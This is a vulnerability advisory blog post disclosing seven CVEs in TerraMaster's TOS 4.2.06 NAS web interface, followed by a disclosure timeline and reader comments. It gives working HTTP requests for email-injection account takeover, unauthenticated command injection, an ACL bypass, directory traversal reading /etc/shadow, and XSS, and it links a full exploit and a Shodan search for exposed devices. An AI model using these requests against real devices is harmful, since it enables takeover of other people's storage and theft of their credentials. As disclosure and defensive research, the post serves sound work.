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## ADVISORIES

# TerraMaster TOS Multiple Vulnerabilities

 Byr00t  12 December 2020  2 Comments

TerraMaster is well known for producing data storage devices (NAS and DAS) since 2010. TOS is the name of their web interface to manage functionalities of the device.

The product is not new to security vulnerabilities, as Joshua M. of ISE highlighted back in 2018 (<https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63>).

In 2020, IHTeam performed a security review of the current TOS version 4.2.06 and identified the following:

CVE-2020-28184 – XSS

CVE-2020-28185 – User Enumeration

CVE-2020-28186 – Email Injection

CVE-2020-28187 – Directory Traversal

CVE-2020-28188 – Remote Command Execution

CVE-2020-28190 – Software Update Man-in-the-middle

CVE-2020-29189 – Incorrect Access Control

At the moment of writing Shodan has found around 1000 vulnerable TOS exposed on Internet – <https://www.shodan.io/search?query=X-Powered-By%3A+TerraMaster>

## Account Takeover

CVE-2020-28186 – The Forget Password functionality was found to be vulnerable to email injection, allowing an attacker to receive a verification code to a third-party email. This attack only works if the user specified a ‘Security email’ on the account.

The first step is to identify valid account (CVE-2020-28185) with security email set via:

```
POST /wizard/initialise.php HTTP/1.1
```

```
Host: 192.168.1.206:8181
```

```
Content-Length: 28
```

```
Content-Type: application/x-www-form-urlencoded
```

```
Referer: http://192.168.1.206:8181
```

```
tab=checkuser&username=testaccount
```

The response will look like the following:

```
{"username":"testaccount","email":"user@local.local","status":1}
```

We can now proceed requesting the password reset code via:

```
POST /wizard/initialise.php HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 41
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.206:8181
Referer: http://192.168.1.206:8181/wizard/getpass.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

```
tab=validmail&email=<valid_user@email>,<attacker_controlled@email>
```

Both user and attacker will receive the verification code thanks to email injection (comma separated emails); At this point we can validate the code (the cookie value must be lowercase):

```
POST /wizard/initialise.php HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 25
Accept: /
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.206:8181
Referer: http://192.168.1.206:8181/wizard/getpass.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: check_mail=frskzi
Connection: close
```

```
tab=checkcode&code=FrSkzI
```

And finally reset the user's password via:

```
POST /wizard/initialise.php HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 82
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.206:8181
Referer: http://192.168.1.206:8181/wizard/getpass.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: check_mail=frskzi
Connection: close
```

```
tab=checkpass&username=testaccount&email=  
<valid_user@email>&code=FrSkzI&passwd=NewPassw0rdH3r3
```

# Unauthenticated Remote Command Execution

CVE-2020-28188

Vulnerable page: */include/makecvs.php*

Vulnerable parameter: *Event*

Proof of Concept:

```
GET /tos/index.php?  
explorer/pathList&path=%60touch%20/tmp/file%60 HTTP/1.1  
Host: 192.168.1.206:8181
```

```
| -rw-r--r--  1 root  root      0 Nov 13 16:08 file
```

Full exploit available at: <https://iht.li/paste.php?hash=UEUS>

# Weak Access Control List

CVE-2020-29189 – When a user is created, it could be placed within a group having read-only access to NAS folders. It was found that this

option could be bypassed via the following request:

```
POST /tos/index.php?explorer/pathChmod HTTP/1.1
Host: 192.168.1.206:8181
Content-Length: 162
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.206:8181
Referer: http://192.168.1.206:8181/tos/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=9ef919de5a6d2b17f5b6a5549e45495e;
tos_visit_time=1604152180; kod_name=testaccount; noshow=1;
kod_user_language=it-it
Connection: close
```

```
list=
[{"type":"folder","path":"Volume%2520%25231%252Fpublic%252
FISO%252F","userlist":"admin,testaccount,user,@admin,@allu
sers","right":"2,2,2,2,2","appmode":"0"}]
```

The 'right' array refers to the 'userlist' array, therefore a value of '2' will grant read/write access, instead of '1' that only grants read access.

## Directory Traversal

CVE-2020-28187 – Instances of directory traversal leading to internal file system disclosure were identified. For example the following authenticated request can be performed to read the `/etc/shadow` file:

```
GET /tos/index.php?
editor/fileGet&filename=../../../../../../../../etc/shadow HTTP/
1.1
Host: 192.168.1.206:8181
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=xxxxxxxxxxxxxx;
Connection: close
```

The nginx web server was running with root privileges, that's why it was possible to read the shadow file.

## Cross-Site Scripting

CVE-2020-28184

XSS via Host header on port 80 (unauthenticated)

```
GET / HTTP/1.1
Host: 192.168.1.206'-alert(1)-'
```

Via GET (authenticated)

```
GET /module/index.php?mod=%2fusr%2fwww%2fmod%2f5.%22-
```

```
alert(1)-%22 HTTP/1.1
```

```
Host: 192.168.1.206:8181
```

## Software update via insecure communication channel

CVE-2020-28190 – In addition, software update and applications are checked and delivered via un-encrypted communication channel (HTTP):

```
"AmazonS3":
```

```
{
```

```
"url": "http://dl.terra-
```

```
master.com/cn/TOS7.0CJ/AmazonS3.bz2"
```

This behavior would allow man-in-the-middle attacks to successfully install malicious applications or updates.

## Responsible Disclosure timeline:

2 Nov 2020 – Details sent to TerraMaster Team and CVE request submitted



17 Nov 2020 – TerraMaster confirms that fixes will be implemented in version 4.2.07

3 Dec 2020 – TerraMaster releases TOS 4.2.07

9 Dec 2020 – IHTeam confirms issues were fixed in 4.2.07

12 Dec 2020 – IHTeam releases a public disclosure article

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## 2 replies on “TerraMaster TOS Multiple Vulnerabilities”



**Junior**

16 June 2022 at 12:59

Congrats for your findings! I have a question about CVE-2020-28188. Is it the same as CVE-2020-35665? What is the difference?

In this article you say the vulnerable page is “/include/makecvs.php” and the vulnerable parameter is “Event”, but as a PoC you use “/tos/index.php?explorer/pathList&path=...”. In the exploit that you share you are only referencing the “makecvs” file. Is it a mistake?

Thanks!

REPLY

**r00t**

10 July 2022 at 16:19

Hello, CVE-2020-35665 was created on the 22nd of December and based on a replica of our original exploit (released on 2nd of November).

CVEs can be requested by researchers at any time. MITRE won't check for duplicates.

Regarding your question about the vulnerable path, they both are vulnerable to RCE, but “/include/makecvs.php?Event=” was instead used for the exploit.

In fact, there was also another path vulnerable to RCE (required auth): ajax/logtable.php

REPLY

BY POST AUTHOR

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